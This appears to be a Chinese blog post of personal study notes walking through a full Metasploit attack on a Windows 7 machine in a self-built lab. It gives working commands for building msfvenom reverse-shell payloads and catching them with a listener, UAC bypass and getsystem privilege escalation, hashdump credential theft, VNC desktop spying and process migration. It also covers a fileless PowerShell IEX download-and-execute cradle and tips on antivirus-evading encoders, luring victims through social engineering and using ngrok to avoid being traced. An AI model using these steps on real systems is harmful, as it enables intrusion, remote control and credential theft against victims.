欢迎光临散文网 会员登陆 & 注册

使用MSF获取windows电脑权限

2023-01-26 23:39 作者:颜衍魇  | 我要投稿

前言:这是作者学习过程中的部分笔记,欢迎大佬指出问题,文章中的靶场环境均为自己搭建

想要阅读md格式的文章可以移步链接(https://zhuanlan.zhihu.com/p/601107518)(小声说一句,b站什么时候才支持md文档)

声明:该笔记只是为了技术交流,文章中所有的操作请在自己搭建的靶场中复现。请勿用于其他非法用途,更不要用于攻击他人电脑和服务器。文章未经作者授权,禁止转载。

#### msfvenom简介


msfvenom是msfpayload和msfencode的结合体,于2015.6.8取代了msfpayload和msfencode.此后,metasploit-framework下面的msfpayload,msfencoder,msfcli都不再被支持。

msfvenom所有参数:

`-p, -payload <payload>, 指定需要使用的payload,也可以是自定义的payload,几乎支持全平台`

`-l,-list [module_type]列出指定模块的所有可用资源。模块类型包括payload、encoders、nops、all`

`-n,-nopsled <length> 为payload预先指定一个NOP滑动长度`

`-f,-format <format> 指定输出格式`

`-e,-encoder [encoder] 指定需要使用的encoder,指定需要使用的编码,如果既没有-e选项也没有-b选项,则输出raw payload `

`-a,-arch <architecture> 指定payload的目标架构,例如x86|x64|x86_64`

`-platform <platform> 指定payload的目标平台`

`-s,-space <length> 设定有效攻击载荷的最大长度,即文件大小`

`-b,-bad-chars <list> 设定规避字符集,指定需要过滤的坏字符例如:不使用'\x0f','\x00'`

`-i,-iterations <count> 指定payload的编码次数`

`-c,-add-code <path> 指定一个附加的win32 shellcode文件`

`-x,-template <path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中`

`-k,-keep 保护模板程序的动作,注入的payload作为一个新的进程运行`

`-payload-options 列举payload的标准选项`

`-o,-out <path> 指定创建好的payload的存放位置`

`-v,-var-name <name> 指定一个自定义的变量,以确定输出格式`

`-shellest 最小化生成payload`

`-h,-help 查看帮助选项`

`-help-formats 查看msf支持的输出格式列表`


##### 常用参数

```

msfvenom -p windowsw/meterpreter/reverse_tcp --list-options

查看windows/meterpreter/reverse_tcp支持什么平台,哪些选项

```

`msfvenom --list payload 查看所有payloads`

```

msfvenom --list encoders 查看所有编码器

评价最高的两个encoder为cmd/powershell_base64(现在免杀效果不太行了)和x86/shikata_ga_nai,x86/shikata_ga_nai是免杀中使用频率最高的一个编码器

```

```

类似可使用 msfvenom --list命令查看payload、encoders、nops、platforms、archs、encrypt、formats

```


##### handler后台持续监听

```

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听。使用jobs命令查看和管理后台任务。jobs -K 可结束所有任务。

如果不使用该命令,将在监听一次后结束。

```

```

快捷建立监听的方式,在msf下直接执行(该命令默认持续后台监听):

msf > handler -H 192.168.10.100,-P 1122 -p windows/meterpreter/reverse_tcp

```


#### 使用MSF获取windows权限


实验设备:

以下均为虚拟机设备:

kali : ip 192.168.10.100

win7: ip 192.168.10.112

win 08 R2: ip 192.168.10.128


进入kali,以root权限运行以下命令:

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=1133 -f exe > 1.exe`

如图,可以看到生成的payload文件的大小

同时我们也在自己的主文件夹中找到了生成的1.exe文件

接下来就是将生成的1.exe文件传递到目标主机上面,由于win10物理机上开启了安全防护,生成的文件会被杀软拦截,所以我们不直接通过win10复制文件,而是通过访问网站的形式下载相应文件

借助kali里的apache服务,将文件放在网站根目录中 /var/www/html/,开启apache服务后,可以通过访问该网站下载文件(需要确保不同虚拟机之间可以ping通,如果无法ping通可以尝试关闭防火墙服务,本质上可以认为是局域网间的连接)

```

service apache2 start //开启apache服务

service apache2 status //查看apache服务状态

```

可以看到,服务已经正常开启

我们再尝试以下是否能够访问网站,进入浏览器,输入本机ip

同时在win7上访问该网站(同样输入kali的ip地址),

发现也能正常访问,接下来就是把木马上传到该网站中

在kali里执行以下命令(在刚才存放1.exe的文件夹中打开终端,进入root权限):

```

sudo su //进入root权限

cp 1.exe /var/www/html    //将文件上传到网站根目录中

```

现在我们已经可以通过访问网站下载1.exe木马文件了。在win7输入网址 192.168.10.100/1.exe,进入后会出现文件下载提示

我们将文件保存在桌面上,方便后续测试

接下来我们需要在kali中开启msf的监听功能

`-# msfconsole`

进入成功后命令行会变成如下图:

继续输入命令:

```

msf6 > use exploit/mulit/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  //根据刚才生成的木马的模板输入相应的监听设置

msf6 exploit(multi/handler) > options  //查看设置

```

可以看到还有一个本地的监听地址没有设置,我们将其设置为本机ip,也将监听端口设置为先前生成的木马设置的端口

```

msf6 exploit(multi/handler) > set LHOST 192.168.10.100

msf6 exploit(multi/handler) > set LPORT 1133

msf6 exploit(multi/handler) > run

```

可以看到,已经开始运行了,但是直接run会导致只能监听一次,不能持续监听,根据前面的介绍,为了后台持续监听,我们应该使用以下命令:

```

msf exploit(multi/handler) > exploit -j -z

```

或者直接一步开启监听:

`msf6 > handler -H 192.168.10.100 -P 1133 -p windows/meterpreter/reverse_tcp`

输入jobs,可以查看后台开启的监听列表

现在在win7里面双击运行1.exe(这只是在靶场测试下这样启动,在实际的渗透测试环境中,需要通过各种社工手段来诱导目标点击运行该程序,如捆绑程序,图片马等等,这里不详细描述,因为笔者也不熟练)

可以看到,现在已经成功与目标主机建立了连接

同时我们在win7里也可以查看到这个连接信息

这里可以看出,108:49388连接到100:1133,直接以这种方式建立连接,在实际中很容易被溯源,所以我们需要一点小手段(使用ngrok与本地建立一个隧道,通过端口转发的方式实现连接。生成木马时的ip要设置位ngrok的ip,而监听ip设置位本地ip,监听端口则设置为转发端口。这样当目标靶机运行程序后,与其建立连接的将是ngrok提供的服务器,而不会暴露我们自己的ip,这里不进行演示,没钱买服务器@~@,当然也可以用免费的尝试一下,不过免费的服务器容易断开)。

接下来就是使用meterpreter对目标靶机进行控制和提权

```

msf6 > sessions -l  //查看所有会话

msf6 > sessions -i -1  //调用对应序号会话

```

`meterpreter > shell  //进入win的cmd命令行`

`meterpreter > help  //查看更多命令信息`

可以看到meterpreter提供了很多命令,包括桌面监控,摄像头控制等功能

然后就是最重要的提取权限:

`meterpreter > getuid   //查看当前的系统权限,下图可以看到获得的只是一个用户权限,而我们的目标是拿到system权限,有了系统权限我们才有机会去做更多操作`

`meterpreter > getsystem //获取系统权限(多数情况不能直接获取,但总要试一下,万一能直接成功呢)`

显然,我们提权尝试失败,所以我们尝试用bypassuac模块进行提权

```

meterpreter > background  //后台挂起该会话

msf6 exploit(multi/handler) > search bypassuac

```

如图,msf提供了很多bypassuac模块,根据描述,前两个是针对win10的,其他的没有什么特殊说明,所以只能自己去测试。

由于我们的目标靶机是win7,所以我们直接从第三个模块开始。运气很好,刚开始测试就直接提权成功,下面是具体的操作命令:

```

msf6 exploit(multi/handler) > use exploit/windows/loacl/bypassuac

msf6 exploit(windows/loacl/bypassuac) > set session 1  

msf6 exploit(windows/loacl/bypassuac) > exploit

```

bypassuac模块只需要设置session参数,如果成功就会返回一个新的会话,之后再用getsystem进行提权

如图,我们现在已经成功的拿到了win7的system权限

我们可以尝试获取一下win7的hash

成功拿到hash

有些时候会出现无法使用hashdump的情况,这时候我们可以调用post里面的后渗透攻击模块

可以看到,这里集成了很多模块,从中找到我们需要的 post/windows/gather/hashdump,然后运行该模块

`meterpreter > run post/windows/gather/hashdump`

我们也成功的拿到了hash

接下来我们使用桌面监控指令

`meterpreter > run vnc`

一段时间后,会出现一个系统界面的窗口,这就是我们目标靶机win7的界面。现在我们就成功的在kali里监控了win7的界面,但是我们只能监控,而不能在这个窗口中做任何操作。当然,通过修改vnc模块参数,我们可以将这个监控界面从只读改为可执行状态,实现对桌面的控制(这里不展开解释,因为笔者还没研究)。

稍微了解了一些基本的功能,我们接下来要做的就是迁移进程。由于直接在目标机上运行程序建立的连接很不稳定,容易被断开或杀掉,所以我们需要将木马程序迁移到目标靶机正在运行的进程中,从而保证连接的稳定性。

`meterpreter > ps   //查看系统进程`

我们选择其中一个进程,将程序迁移进去

`meterpreter > migrate 2612`

现在进程已经迁移成功,即使关掉原来的1.exe程序,监控会话也能保持连接。

能够发现,即使我们已经在win7里结束了1.exe程序,我们依旧能够保持会话,使用meterpreter的各项功能,这说明我们的程序在迁移到其他进程中后,依旧能够正常运行(可以尝试将迁移到360等杀软中,但一般是无法成功迁移的,因为这类杀软都有进程保护)。

#### MSF无文件攻击

上面建立连接的方式是通过向目标靶机注入木马达到监听的目的,而目标靶机中会存在一个1.exe的文件。所以我们需要思考一下,是否可以通过不生成落地文件,从而实现监听的目的。无文件攻击就是通过使用命令,远程调用代码加载到内存里面运行。

##### powershell配合msf实现无文件攻击

```

生成ps脚本

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1125 -f psh-reflection > x.ps1

设置侦听

use exlpoit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.10.108

客户端运行

powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/x.ps1')

```

具体操作

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 `


现在已经生成了一个powershell文件,我们将该文件上传到服务器里

这里将win2008 R2作为网站服务器,使用phpstudy开启服务,将生成的x.ps1文件放在网站根目录里面(即phpstudy的www文件夹中),输入08服务器的ip(192.168.10.128)即可访问建立的网站。我们在目标靶机(win7)的浏览器中打开目标网址(192.168.10.128/x.ps1)

发现网页上会直接显示powershell文件的代码,接下来要实现的就是通过命令行执行这串代码。

首先在kali里设置对应的监听

`msf6 > handler -H 192.168.10.100 -P 1125 -p windows/x64/meterpreter/reverse_tcp `

然后在win7中运行如下命令:

`powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/x.ps1')`

运行命令后,出现powershell停止工作的提示(思考ing)。

查阅资料和检查配置后,笔者发现自己安装的win7是32位系统,而我们生成的x.ps1文件为64位(windows支持向下兼容,即64位系统可以运行32位文件,反之则不行)

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1125 -f psh-reflection > x.ps1`

可以发现该命令中 `/x64`指定了生成的文件为64位,所以我们重新生成一个新的木马

`msfvenom -p windows/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1144 -f psh-reflection > y.ps1            //不指定生成文件位数,则默认为32位`

开启监听:

`handler -H 192.168.10.100 -P 1144 -p windows/meterpreter/reverse_tcp`

重复之前的步骤(将木马文件上传到08服务器上)

在目标靶机(win7)运行命令:

`powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/y.ps1')`

这次没有出现停止工作的提示了,再看一下kali里,会话是否建立成功。


也成功建立会话,至此,无文件攻击成功。在这个过程中我们可以发现,win7里面并没有下载任何的木马文件,而是通过访问网站的方式,直接将y.ps1中的代码加载到内存中执行。


使用MSF获取windows电脑权限的评论 (共 条)

分享到微博请遵守国家法律